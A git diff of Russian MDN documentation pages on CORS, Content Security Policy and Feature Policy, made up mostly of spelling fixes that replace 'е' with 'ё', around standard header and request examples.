Sharing работает с помощью добавления новых <a href="/en-US/docs/Web/HTTP/Headers">HTTP-заголовков</a>, которые позволяют серверам описывать набор источников, которым разрешено читать информацию, запрашиваемую web-браузером. В частности, для методов HTTP-запросов, которые могут привести к побочным эффектам над данными сервера (в частности, для HTTP методов, отличных от {{HTTPMethod("GET")}} или для {{HTTPMethod("POST")}} запросов, использующих определённые <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME-</a>типы), спецификация требует, чтобы браузеры "предпроверяли" запрос, запрашивая поддерживающие методы с сервера с помощью метода HTTP-запроса {{HTTPMethod("OPTIONS")}} и затем, поверх "подтверждения" с сервера, отсылали фактический запрос с фактическим методом HTTP-запроса. Сервера также могут оповещать клиентов должны ли "полномочия" (включая <a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a> и HTTP Authentication данные) быть отправлены с запросом.</p> <p>Следующая секция описывает сценарии, а также предоставляет анализ использования HTTP-заголовков. </p> @@ -46,7 +46,7 @@ translation_of: Web/HTTP/CORS <p>Здесь мы рассмотрим три сценария, которые иллюстрируют как Cross-Origin Resource Sharing работает. Каждый сценарий использует объект {{domxref("XMLHttpRequest")}}, который может быть использован для межсайтового взаимодействия, в любом, поддерживающем данный объект, браузере.</p> -<p>Фрагменты JavaScript кода, включенные в эти секции (а также фрагменты кода, отвечающие за корректную обработку межсерверных запросов, которые запускаются на сервере) могут быть испытаны "в действии" на <a class="external" href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a>, и будут работать в браузерах, которые поддерживают {{domxref("XMLHttpRequest")}}.</p> +<p>Фрагменты JavaScript кода, включённые в эти секции (а также фрагменты кода, отвечающие за корректную обработку межсерверных запросов, которые запускаются на сервере) могут быть испытаны "в действии" на <a class="external" href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a>, и будут работать в браузерах, которые поддерживают {{domxref("XMLHttpRequest")}}.</p> <p>Обсуждение Cross-Origin Resource Sharing с точки зрения сервера (включая фрагменты кода на PHP) может быть найдено в статье <a class="internal" href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-Side Access Control (CORS)</a>.</p> @@ -62,7 +62,7 @@ translation_of: Web/HTTP/CORS <li>{{HTTPMethod("POST")}}</li> </ul> </li> - <li>Кроме заголовков, которые автоматические проставляются user-agent'ом (например, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, или <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">любой другой заголовок с именем, определенным в спецификации метода Fetch в секции “Запрещенные имена заголовков (которые нельзя изменить программно)”</a>), допустимыми заголовками, которые могут быть проставлены вручную, являются <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">те заголовки, которые определены спецификацией метода Fetch как “CORS-безопасные заголовки запроса”</a>, такие как: + <li>Кроме заголовков, которые автоматические проставляются user-agent'ом (например, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, или <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">любой другой заголовок с именем, определённым в спецификации метода Fetch в секции “Запрещённые имена заголовков (которые нельзя изменить программно)”</a>), допустимыми заголовками, которые могут быть проставлены вручную, являются <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">те заголовки, которые определены спецификацией метода Fetch как “CORS-безопасные заголовки запроса”</a>, такие как: <ul> <li>{{HTTPHeader("Accept")}}</li> <li>{{HTTPHeader("Accept-Language")}}</li> @@ -104,7 +104,7 @@ function callOtherDomain() { } </pre> -<p>Это приведет к простому обмену запросами между клиентом и сервером, используя CORS заголовки для обработки привилегий:</p> +<p>Это приведёт к простому обмену запросами между клиентом и сервером, используя CORS заголовки для обработки привилегий:</p> <p><img alt="" src="https://mdn.mozillademos.org/files/14293/simple_req.png" style="height: 224px; width: 521px;"></p> @@ -134,13 +134,13 @@ Content-Type: application/xml [XML Data] </pre> -<p>Строчки 1 - 10 это заголовки отправленного запроса. Самим интересующим здесь для нас заголовком является {{HTTPHeader("Origin")}}, указанный на 10 строке. Данный заголовок указывает, что запрос пришел из содержимого домена <code class="plain">http://foo.example</code>.</p> +<p>Строчки 1 - 10 это заголовки отправленного запроса. Самим интересующим здесь для нас заголовком является {{HTTPHeader("Origin")}}, указанный на 10 строке. Данный заголовок указывает, что запрос пришёл из содержимого домена <code class="plain">http://foo.example</code>.</p> <p>Строчки 13 - 22 показывают HTTP-ответ от сервера на домен <code class="plain">http://bar.other</code>. В ответ сервер возвращает {{HTTPHeader("Access-Control-Allow-Origin")}} заголовок, указанный на 16 строке. Использование заголовков {{HTTPHeader("Origin")}} header и {{HTTPHeader("Access-Control-Allow-Origin")}} показывает протокол контроля доступа в простейшем виде. В этом случае, сервер отвечает с <code>Access-Control-Allow-Origin: *</code> что означает, что к ресурсу может получить доступ с <strong>любого</strong> домена кросс-сайтовым способом. Если владелец ресурса <code class="plain">http://bar.other</code> пожелал ограничить доступ к ресурсу для запросов только с <code class="plain">http://foo.example</code>, они отправят обратно:</p> <p><code class="plain">Access-Control-Allow-Origin: http://foo.example</code></p> -<p>Отметьте, никакой домен, кроме <code class="plain">http://foo.example</code> (определен ORIGIN: заголовок в запросе, как в 10 строке выше), не может получить доступ к ресурсу кросс-сайтовым способом. Заголовок <code>Access-Control-Allow-Origin</code> должен содержать значение, которое было отправлено в заголовке <code>Origin</code> запроса. </p> +<p>Отметьте, никакой домен, кроме <code class="plain">http://foo.example</code> (определён ORIGIN: заголовок в запросе, как в 10 строке выше), не может получить доступ к ресурсу кросс-сайтовым способом. Заголовок <code>Access-Control-Allow-Origin</code> должен содержать значение, которое было отправлено в заголовке <code>Origin</code> запроса. </p> <h3 id="Предварительные_запросы">Предварительные запросы</h3> @@ -160,7 +160,7 @@ Content-Type: application/xml <li>{{HTTPMethod("PATCH")}}</li> </ul> </li> - <li><strong>Или если</strong>, кроме заголовков, автоматически устанавливаемых пользовательским агентом (например, {{HTTPHeader ("Connection")}}, {{HTTPHeader ("User-Agent")}}, <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">или любым другим заголовком с именем, определенным в спецификации Fetch как "имя запрещенного заголовка"</a>), запрос включает любые заголовки, отличные от <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">тех, которые спецификация Fetch определяет как "заголовок запроса CORS-безопасный заголовок запроса"</a>, а именно: + <li><strong>Или если</strong>, кроме заголовков, автоматически устанавливаемых пользовательским агентом (например, {{HTTPHeader ("Connection")}}, {{HTTPHeader ("User-Agent")}}, <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">или любым другим заголовком с именем, определённым в спецификации Fetch как "имя запрещённого заголовка"</a>), запрос включает любые заголовки, отличные от <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">тех, которые спецификация Fetch определяет как "заголовок запроса CORS-безопасный заголовок запроса"</a>, а именно: <ul> <li>{{HTTPHeader("Accept")}}</li> <li>{{HTTPHeader("Accept-Language")}}</li> @@ -184,7 +184,7 @@ Content-Type: application/xml <li><strong>Или если </strong>объект {{domxref("ReadableStream")}} используется в запросе.</li> </ul> -<p>Ниже приведен пример запроса, который будет предварительно просмотрен.</p> +<p>Ниже приведён пример запроса, который будет предварительно просмотрен.</p> <pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest(); var url = 'http://bar.other/resources/post-here/'; @@ -204,7 +204,7 @@ function callOtherDomain(){ ...... </pre> -<p>В примере выше, 3 строка создает XML тело, чтобы отправить <code>POST</code> запросом на строке 8. Также, на строке 9, "кастомизированный" (не стандартный) заголовок HTTP запроса установлен (<code>X-PINGOTHER: pingpong</code>). Такие заголовки не являются частью протокола HTTP/1.1, но, как правило, полезны для веб-приложений. Так как запрос использует Content-Type <code>application/xml</code>, и так как установлен кастомизированный заголовок, этот запрос просматривается.</p> +<p>В примере выше, 3 строка создаёт XML тело, чтобы отправить <code>POST</code> запросом на строке 8. Также, на строке 9, "кастомизированный" (не стандартный) заголовок HTTP запроса установлен (<code>X-PINGOTHER: pingpong</code>). Такие заголовки не являются частью протокола HTTP/1.1, но, как правило, полезны для веб-приложений. Так как запрос использует Content-Type <code>application/xml</code>, и так как установлен кастомизированный заголовок, этот запрос просматривается.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/16753/preflight_correct.png" style="height: 553px; width: 521px;"></p> @@ -242,7 +242,7 @@ Connection: Keep-Alive Content-Type: text/plain </pre> -<p>Как только предварительный запрос завершен, отправляется настоящий запрос:</p> +<p>Как только предварительный запрос завершён, отправляется настоящий запрос:</p> <pre class="brush: none notranslate">POST /resources/post-here/ HTTP/1.1 Host: bar.other @@ -294,23 +294,23 @@ Access-Control-Max-Age: 86400</pre> <p>Сервер отвечает с <code>Access-Control-Allow-Methods</code> и сообщает, что <code>POST</code>, <code>GET</code>, и <code>OPTIONS</code> являются жизнеспособными методами для запроса соответствующего ресурса. Обратите внимание, что этот заголовок похож на заголовок ответа {{HTTPHeader("Allow")}}, но используется строго в контексте контроля доступа.</p> -<p>Сервер также отправляет <code>Access-Control-Allow-Headers</code> со значением "<code>X-PINGOTHER, Content-Type</code>", подтверждая, что это разрешенные заголовки, которые будут использоваться с фактическим запросом. Как и <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> представляет собой список допустимых заголовков через запятую.</p> +<p>Сервер также отправляет <code>Access-Control-Allow-Headers</code> со значением "<code>X-PINGOTHER, Content-Type</code>", подтверждая, что это разрешённые заголовки, которые будут использоваться с фактическим запросом. Как и <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> представляет собой список допустимых заголовков через запятую.</p> -<p>Наконец, {{HTTPHeader("Access-Control-Max-Age")}} дает значение в секундах, в течение которого можно кэшировать ответ на предварительный запрос без отправки другого предварительного запроса. В этом случае, 86400 секунды - это 24 часа. Обратите внимание, что каждый браузер имеет<a href="/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age"> максимальное внутреннее значение</a>, которое имеет приоритет, когда <code>Access-Control-Max-Age</code> больше.</p> +<p>Наконец, {{HTTPHeader("Access-Control-Max-Age")}} даёт значение в секундах, в течение которого можно кэшировать ответ на предварительный запрос без отправки другого предварительного запроса. В этом случае, 86400 секунды - это 24 часа. Обратите внимание, что каждый браузер имеет<a href="/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age"> максимальное внутреннее значение</a>, которое имеет приоритет, когда <code>Access-Control-Max-Age</code> больше.</p> <h4 id="Предварительные_запросы_и_переадресации">Предварительные запросы и переадресации</h4> <p>Большинство браузеров в настоящее время не поддерживают следующие переадресации для предварительных запросов. Если переадресация происходит для предварительного запроса, большинство современных браузеров сообщат об ошибке, такой как следующее.</p> <blockquote> -<p>Запрос был перенаправлен на 'https://example.com/foo', который запрещен для запросов из разных источников, требующих предварительной проверки</p> +<p>Запрос был перенаправлен на 'https://example.com/foo', который запрещён для запросов из разных источников, требующих предварительной проверки</p> </blockquote> <blockquote> <p>Запрос требует предварительной проверки, которая запрещена для перенаправления между источниками</p> </blockquote> -<p>Протокол CORS изначально требовал такого поведения, но впоследствии <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">был изменен, чтобы больше не требовать его.</a> Однако большинство браузеров еще не реализовали это изменение и все еще демонстрируют поведение, которое требовалось изначально.</p> +<p>Протокол CORS изначально требовал такого поведения, но впоследствии <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">был изменён, чтобы больше не требовать его.</a> Однако большинство браузеров ещё не реализовали это изменение и все ещё демонстрируют поведение, которое требовалось изначально.</p> <p>Поэтому, пока браузеры не догонят спецификацию, вы можете обойти это ограничение, выполнив одно или оба из следующих действий:</p> @@ -328,9 +328,9 @@ Access-Control-Max-Age: 86400</pre> <p>Однако, если запрос инициирует предварительную проверку из-за наличия в запросе заголовка `Authorization`, вы не сможете обойти ограничение, используя описанные выше шаги. И вы вообще не сможете обойти это, если у вас нет контроля над сервером, на который делается запрос.</p> -<h3 id="Запросы_с_учетными_данными">Запросы с учетными данными</h3> +<h3 id="Запросы_с_учётными_данными">Запросы с учётными данными</h3> -<p>Наиболее интересная возможность, предоставляемая как {{domxref("XMLHttpRequest")}}, так и <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> и CORS - это возможность делать "проверенные" запросы, которые осведомлены о файлах <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookie</a> и информации HTTP аутентификации. По умолчанию, в кросс-сайтовых {{domxref("XMLHttpRequest")}} или <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> вызовах, браузеры <strong>не </strong>отправляют учетные данные. Конкретный флаг должен быть установлен для объекта {{domxref("XMLHttpRequest")}} или конструктора {{domxref("Request")}} при его вызове.</p> +<p>Наиболее интересная возможность, предоставляемая как {{domxref("XMLHttpRequest")}}, так и <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> и CORS - это возможность делать "проверенные" запросы, которые осведомлены о файлах <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookie</a> и информации HTTP аутентификации. По умолчанию, в кросс-сайтовых {{domxref("XMLHttpRequest")}} или <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> вызовах, браузеры <strong>не </strong>отправляют учётные данные. Конкретный флаг должен быть установлен для объекта {{domxref("XMLHttpRequest")}} или конструктора {{domxref("Request")}} при его вызове.</p> <p>В этом примере контент, изначально загруженный из <code class="plain">http://foo.example,</code> выполняет простой GET запрос к ресурсу <code class="plain">http://bar.other,</code> который устанавливает файлы cookie. Содержимое на foo.example может содержать такой JavaScript:</p> @@ -346,7 +346,7 @@ function callOtherDomain(){ } }</pre> -<p>В строке 7 показан флаг {{domxref("XMLHttpRequest")}}, который должен быть установлен для выполнения вызова с помощью файлов cookie, а именно логическое значение <code>withCredentials</code>. По умолчанию вызов выполняется без файлов cookie. Поскольку это простой запрос <code>GET,</code> он не является предварительным, но браузер <strong>отклоняет</strong> любой ответ, который не имеет заголовка {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code>, и <strong>не</strong> создает ответ, доступный для вызова веб-контента.</p> +<p>В строке 7 показан флаг {{domxref("XMLHttpRequest")}}, который должен быть установлен для выполнения вызова с помощью файлов cookie, а именно логическое значение <code>withCredentials</code>. По умолчанию вызов выполняется без файлов cookie. Поскольку это простой запрос <code>GET,</code> он не является предварительным, но браузер <strong>отклоняет</strong> любой ответ, который не имеет заголовка {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code>, и <strong>не</strong> создаёт ответ, доступный для вызова веб-контента.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/14291/cred-req.png" style="height: 223px; width: 521px;"></p> @@ -387,9 +387,9 @@ Content-Type: text/plain <p>Также в строке 11 содержится Cookie, предназначенный для контента ресурса <code class="plain">http://bar.other</code>. В случае если <code class="plain">http://bar.other</code> не ответит полем {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> (строка 19), то ответ от сервера будет проигнорирован и не станет доступным для веб-контента.</p> -<h4 id="Запросы_с_учетными_данными_и_wildcards">Запросы с учетными данными и wildcards</h4> +<h4 id="Запросы_с_учётными_данными_и_wildcards">Запросы с учётными данными и wildcards</h4> -<p>В процессе ответа на запрос с учетными данными сервер <strong>обязан</strong> указать точный источник в поле заголовка <code>Access-Control-Allow-Origin</code> вместо спецсимвола "<code>*</code>".</p> +<p>В процессе ответа на запрос с учётными данными сервер <strong>обязан</strong> указать точный источник в поле заголовка <code>Access-Control-Allow-Origin</code> вместо спецсимвола "<code>*</code>".</p> <p>Из-за того что заголовки запроса в примере выше включают заголовок <code>Cookie</code>, запрос провалился бы, если бы значение заголовка <code>Control-Allow-Origin</code> было "*". Но он не провалился: потому что значение заголовка <code>Access-Control-Allow-Origin</code> - "<code class="plain">http://foo.example</code>" (действительный источник), а не спецсимвол "<code>*</code>", контент, удостоверяющий полномочия, возвращается в вызывающий веб-контент.</p> @@ -397,7 +397,7 @@ Content-Type: text/plain <h2 id="Заголовки_HTTP_ответов">Заголовки HTTP ответов</h2> -<p>Эта секция содержит список заголовков HTTP ответов, которые сервер шлет в ответ на запрос доступа, как описано в спецификации совместного использования ресурсов между разными источниками. В предыдущей секции это описано в действии.</p> +<p>Эта секция содержит список заголовков HTTP ответов, которые сервер шлёт в ответ на запрос доступа, как описано в спецификации совместного использования ресурсов между разными источниками. В предыдущей секции это описано в действии.</p> <h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3> @@ -406,7 +406,7 @@ Content-Type: text/plain <pre class="brush: none notranslate">Access-Control-Allow-Origin: <origin> | * </pre> -<p><code>Access-Control-Allow-Origin</code> определяет либо один источник, что указывает браузеру разрешить этому источнику доступ к ресурсу; либо — для запросов без учетных данных — значение "<code>*</code>", которое говорит браузеру разрешить запросы из любых источников.</p> +<p><code>Access-Control-Allow-Origin</code> определяет либо один источник, что указывает браузеру разрешить этому источнику доступ к ресурсу; либо — для запросов без учётных данных — значение "<code>*</code>", которое говорит браузеру разрешить запросы из любых источников.</p> <p>Например, чтобы разрешить http://mozilla.org доступ к ресурсу, можно указать:</p> diff --git a/files/ru/web/http/csp/index.html b/files/ru/web/http/csp/index.html index 66c9f059bc..f1c128ab7f 100644 --- a/files/ru/web/http/csp/index.html +++ b/files/ru/web/http/csp/index.html @@ -8,9 +8,9 @@ translation_of: Web/HTTP/CSP --- <div>{{HTTPSidebar}}</div> -<p class="summary"><strong>Content Security Policy</strong> ({{Glossary("CSP")}}) - это дополнительный уровень безопасности, позволяющий распознавать и устранять определенные типы атак, таких как Cross Site Scripting ({{Glossary("XSS")}}) и атаки внедрения данных. Спектр применения этих атак включает, но не ограничивается кражей данных, подменой страниц и распространением зловредного ПО.</p> +<p class="summary"><strong>Content Security Policy</strong> ({{Glossary("CSP")}}) - это дополнительный уровень безопасности, позволяющий распознавать и устранять определённые типы атак, таких как Cross Site Scripting ({{Glossary("XSS")}}) и атаки внедрения данных. Спектр применения этих атак включает, но не ограничивается кражей данных, подменой страниц и распространением зловредного ПО.</p> -<p>CSP разрабатывался с возможностью полной обратной совместимости (за исключением CSP version 2, в которой были намеренно определены некоторые противоречия блокирующие обратную совместимость; с деталями можно ознакомиться <a href="https://www.w3.org/TR/CSP2">здесь</a>, в пункте 1.1). Браузеры, которые не поддерживают CSP, все еще могут работать с серверами, которые поддерживают CSP, и наоборот: браузеры, в которых поддержка CSP отсутствует, будут ее игнорировать, продолжая работу в соответствии со стандартными правилами ограничения домена для загрузки контента. В случае, если сайт не предоставляет CSP-заголовки, браузеры, в свою очередь, будут использовать стандартные <a href="/ru/docs/Web/Security/Same-origin_policy" title="En/Same origin policy for JavaScript">правила ограничения домена</a>.</p> +<p>CSP разрабатывался с возможностью полной обратной совместимости (за исключением CSP version 2, в которой были намеренно определены некоторые противоречия блокирующие обратную совместимость; с деталями можно ознакомиться <a href="https://www.w3.org/TR/CSP2">здесь</a>, в пункте 1.1). Браузеры, которые не поддерживают CSP, все ещё могут работать с серверами, которые поддерживают CSP, и наоборот: браузеры, в которых поддержка CSP отсутствует, будут её игнорировать, продолжая работу в соответствии со стандартными правилами ограничения домена для загрузки контента. В случае, если сайт не предоставляет CSP-заголовки, браузеры, в свою очередь, будут использовать стандартные <a href="/ru/docs/Web/Security/Same-origin_policy" title="En/Same origin policy for JavaScript">правила ограничения домена</a>.</p> <p>Для того чтобы включить CSP, необходимо настроить сервер так, чтобы в ответах он использовал HTTP-заголовок {{HTTPHeader("Content-Security-Policy")}} (в различных примерах и документации можно встретить вариант заголовка <code>X-Content-Security-Policy</code>. Он является устаревшим и определять его не нужно).</p> @@ -22,13 +22,13 @@ translation_of: Web/HTTP/CSP <p>Основная цель создания CSP заключается в устранении XSS атак и сборе данных об их попытках. XSS атаки используют доверие браузера к контенту, полученному с сервера. Зловредные скрипты исполняются в браузере жертвы, поскольку браузер доверяет источнику, даже когда скрипт поставляется не оттуда, откуда кажется.</p> -<p>CSP дает возможность администраторам серверов снизить или полностью устранить вектора, по которым злоумышленники могут провести XSS, с помощью определения доменов, которые браузер клиента должен считать доверенными источниками исполняемых скриптов. В таком случае, браузер, совместимый с CSP, будет исполнять только те скрипты, которые были получены из списка разрешенных источников, и игнорировать прочие (в т.ч. встраиваемые скрипты и обработчики событий, указанные непосредственно в HTML-атрибутах).</p> +<p>CSP даёт возможность администраторам серверов снизить или полностью устранить вектора, по которым злоумышленники могут провести XSS, с помощью определения доменов, которые браузер клиента должен считать доверенными источниками исполняемых скриптов. В таком случае, браузер, совместимый с CSP, будет исполнять только те скрипты, которые были получены из списка разрешённых источников, и игнорировать прочие (в т.ч. встраиваемые скрипты и обработчики событий, указанные непосредственно в HTML-атрибутах).</p> <p>В качестве крайней меры защиты, сайты, которые хотят запретить исполнение скриптов, могут настроить это поведение глобально, с помощью соответствующей опции.</p> <h3 id="Пакетный_сниффинг">Пакетный сниффинг</h3> -<p>В дополнение к ограничению количества доверенных доменов, с которых разрешается получать контент, можно также ограничить список используемых протоколов; например (в идеале и это крайне желательно с точки зрения обеспечения безопасности), сервер может поставить ограничение на получение контента только по HTTPS. Завершенная стратегия защиты передачи данных должна включать в себя не только принуждение к использованию HTTPS, но также и пометку всех <a href="/ru/docs/Web/HTTP/%D0%9A%D1%83%D0%BA%D0%B8">кук с помощью специального флага</a>, а также перенаправление запросов с HTTP на HTTPS. Сайты также могут использовать {{HTTPHeader("Strict-Transport-Security")}} HTTP-заголовок, чтобы обеспечить подключение к ним браузеров только по защищенному каналу<strong>.</strong></p> +<p>В дополнение к ограничению количества доверенных доменов, с которых разрешается получать контент, можно также ограничить список используемых протоколов; например (в идеале и это крайне желательно с точки зрения обеспечения безопасности), сервер может поставить ограничение на получение контента только по HTTPS. Завершённая стратегия защиты передачи данных должна включать в себя не только принуждение к использованию HTTPS, но также и пометку всех <a href="/ru/docs/Web/HTTP/%D0%9A%D1%83%D0%BA%D0%B8">кук с помощью специального флага</a>, а также перенаправление запросов с HTTP на HTTPS. Сайты также могут использовать {{HTTPHeader("Strict-Transport-Security")}} HTTP-заголовок, чтобы обеспечить подключение к ним браузеров только по защищённому каналу<strong>.</strong></p> <h2 id="Использование_CSP">Использование CSP</h2> @@ -48,7 +48,7 @@ translation_of: Web/HTTP/CSP <h2 id="Примеры_Распространённые_случаи_применения">Примеры: Распространённые случаи применения</h2> -<p>В данном разделе приводятся наиболее распространенные сценарии использования CSP.</p> +<p>В данном разделе приводятся наиболее распространённые сценарии использования CSP.</p> <h3 id="Пример_1">Пример 1</h3> @@ -78,7 +78,7 @@ translation_of: Web/HTTP/CSP <h3 id="Пример_4">Пример 4</h3> -<p>Вы хотите удостовериться, что весь получаемый контент для онлайн-банкинга идет по SSL и атакующий не сможет обрабатывать запросы:</p> +<p>Вы хотите удостовериться, что весь получаемый контент для онлайн-банкинга идёт по SSL и атакующий не сможет обрабатывать запросы:</p> <pre class="syntaxbox notranslate">Content-Security-Policy: default-src https://onlinebanking.jumbobank.com</pre> @@ -94,29 +94,29 @@ translation_of: Web/HTTP/CSP <h2 id="Тестирование_настройки_политики">Тестирование настройки политики</h2> -<p>Для облегчения развертывания можно настроить развертывание CSP в режиме report-only. Таким образом, политика не будет ограничивать загрузку, но будет сообщать обо всех нарушениях на указанный в заголовке URI. Кроме того, заголовок report-only может использоваться для тестирования новой политики без полноценного развертывания.</p> +<p>Для облегчения развёртывания можно настроить развёртывание CSP в режиме report-only. Таким образом, политика не будет ограничивать загрузку, но будет сообщать обо всех нарушениях на указанный в заголовке URI. Кроме того, заголовок report-only может использоваться для тестирования новой политики без полноценного развертывания.</p> <p>Для определения вашей политики вы можете использовать заголовок {{HTTPHeader("Content-Security-Policy-Report-Only")}} следующим образом:</p> <pre class="syntaxbox notranslate">Content-Security-Policy-Report-Only: <em>policy</em> </pre> -<p>В случае, если оба заголовка ({{HTTPHeader("Content-Security-Policy-Report-Only")}} и {{HTTPHeader("Content-Security-Policy")}}) были определены одновременно в одном ответе сервера, обе политики будут обработаны. Политики, описанные в заголовке <code>Content-Security-Policy</code> будут применены, в то время как политики, описанные в заголовке <code>Content-Security-Policy-Report-Only</code>, создадут отчеты, но применены не будут.</p> +<p>В случае, если оба заголовка ({{HTTPHeader("Content-Security-Policy-Report-Only")}} и {{HTTPHeader("Content-Security-Policy")}}) были определены одновременно в одном ответе сервера, обе политики будут обработаны. Политики, описанные в заголовке <code>Content-Security-Policy</code> будут применены, в то время как политики, описанные в заголовке <code>Content-Security-Policy-Report-Only</code>, создадут отчёты, но применены не будут.</p> -<h2 id="Настройка_отправки_отчетов">Настройка отправки отчетов</h2> +<h2 id="Настройка_отправки_отчётов">Настройка отправки отчётов</h2> -<p>По умолчанию, отправка отчетов не производится. Для того чтобы включить отправку отчетов, необходимо в вашей политике определить директиву {{CSP("report-uri")}} и указать как минимум один URI, куда будут направляться отчеты:</p> +<p>По умолчанию, отправка отчётов не производится. Для того чтобы включить отправку отчётов, необходимо в вашей политике определить директиву {{CSP("report-uri")}} и указать как минимум один URI, куда будут направляться отчёты:</p> <pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi</pre> -<p>Кроме того, необходимо настроить свой сервер на получение этих отчетов; вы можете хранить и обрабатывать эти отчеты как считаете нужным.</p> +<p>Кроме того, необходимо настроить свой сервер на получение этих отчётов; вы можете хранить и обрабатывать эти отчёты как считаете нужным.</p> -<h2 id="Синтаксис_отчета_о_происшествиях">Синтаксис отчета о происшествиях</h2> +<h2 id="Синтаксис_отчёта_о_происшествиях">Синтаксис отчёта о происшествиях</h2> -<p>Объект отчета в формате JSON содержит следующие поля:</p> +<p>Объект отчёта в формате JSON содержит следующие поля:</p> <dl> <dt><code>blocked-uri</code></dt> - <dd>URI ресурса, заблокированного в соответствии с настройками политики. Если заблокированный адрес отличается от адреса страницы, то он будет сокращен до схемы, хоста и порта.</dd> + <dd>URI ресурса, заблокированного в соответствии с настройками политики. Если заблокированный адрес отличается от адреса страницы, то он будет сокращён до схемы, хоста и порта.</dd> </dl> <dl> @@ -129,7 +129,7 @@ translation_of: Web/HTTP/CSP <dt><code>original-policy</code></dt> <dd>Исходная политика, описываемая в заголовке <code>Content-Security-Policy</code>.</dd> <dt><code>referrer</code></dt> - <dd>Реферер, который привел к нарушению.</dd> + <dd>Реферер, который привёл к нарушению.</dd> <dt><code>script-sample</code></dt> <dd>Первые 40 символов встроенного скрипта или стиля, спровоцировавшего нарушение.</dd> <dt><code>status-code</code></dt> @@ -138,7 +138,7 @@ translation_of: Web/HTTP/CSP <dd>Директива, которая была нарушена.</dd> </dl> -<h2 id="Пример_отчета_о_происшествии">Пример отчета о происшествии</h2> +<h2 id="Пример_отчёта_о_происшествии">Пример отчёта о происшествии</h2> <div>Возьмём страницу, расположенную по адресу <code><a class="external" href="http://example.com/signup.html" rel="freelink">http://example.com/signup.html</a></code>. Для неё используется следующая политика, запрещающая загрузку всего кроме CSS-файлов с <code>cdn.example.com</code>.</div> @@ -171,7 +171,7 @@ translation_of: Web/HTTP/CSP } }</pre> -<p>Как видите, отчёт включает полный путь к ресурсу нарушающему политику в <code>blocked-uri</code>. Правда, это не всегда так. К примеру, когда <code>signup.html</code> попытается загрузить CSS с <a href="http://anothercdn.example.com/stylesheet.css"><code>http://anothercdn.example.com/stylesheet.css</code></a>, браузер <em>не </em>будет включать полный путь, а ограничится лишь доменом (<code>http://anothercdn.example.com</code>). Спецификация CSP <a href="http://www.w3.org/TR/CSP/#security-violation-reports">поясняет</a> это странное поведение. В целом, это делается для предотвращения утечек чувствительной информации о перекрестных ресурсах</p> +<p>Как видите, отчёт включает полный путь к ресурсу нарушающему политику в <code>blocked-uri</code>. Правда, это не всегда так. К примеру, когда <code>signup.html</code> попытается загрузить CSS с <a href="http://anothercdn.example.com/stylesheet.css"><code>http://anothercdn.example.com/stylesheet.css</code></a>, браузер <em>не </em>будет включать полный путь, а ограничится лишь доменом (<code>http://anothercdn.example.com</code>). Спецификация CSP <a href="http://www.w3.org/TR/CSP/#security-violation-reports">поясняет</a> это странное поведение. В целом, это делается для предотвращения утечек чувствительной информации о перекрёстных ресурсах</p> <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> @@ -179,7 +179,7 @@ translation_of: Web/HTTP/CSP <p>{{Compat("http.headers.csp")}}</p> -<p>Для некоторых версий Safari существует специфическая несовместимость реализации CSP. Если установить заголовок Content Security Policy без заголовка Same Origin, то браузер начнет блокировать и создавать ложно-положительные отчеты о нарушении политики для всего контента, как с запрашиваемого источника, так и из внешних источников.</p> +<p>Для некоторых версий Safari существует специфическая несовместимость реализации CSP. Если установить заголовок Content Security Policy без заголовка Same Origin, то браузер начнёт блокировать и создавать ложно-положительные отчёты о нарушении политики для всего контента, как с запрашиваемого источника, так и из внешних источников.</p> <p>Смотрите также:</p> diff --git a/files/ru/web/http/feature_policy/index.html b/files/ru/web/http/feature_policy/index.html index 972b15c168..ae3955ed1c 100644 --- a/files/ru/web/http/feature_policy/index.html +++ b/files/ru/web/http/feature_policy/index.html @@ -5,13 +5,13 @@ translation_of: Web/HTTP/Feature_Policy --- <div>{{SeeCompatTable}}{{HTTPSidebar}}</div> -<p class="summary"><span class="seoSummary">Feature Policy позволяет веб-разработчику выборочно включать, отключать и изменять поведение определенных функций и API в браузере. Это похоже на {{Glossary("CSP", "Content Security Policy")}}, но контролирует функции вместо политик безопасности.</span></p> +<p class="summary"><span class="seoSummary">Feature Policy позволяет веб-разработчику выборочно включать, отключать и изменять поведение определённых функций и API в браузере. Это похоже на {{Glossary("CSP", "Content Security Policy")}}, но контролирует функции вместо политик безопасности.</span></p> <h2 id="Краткое_описание">Краткое описание</h2> <p>Заголовок Feature Policy предоставляет механизм для ясного указания функций, используемых или не используемых вашим 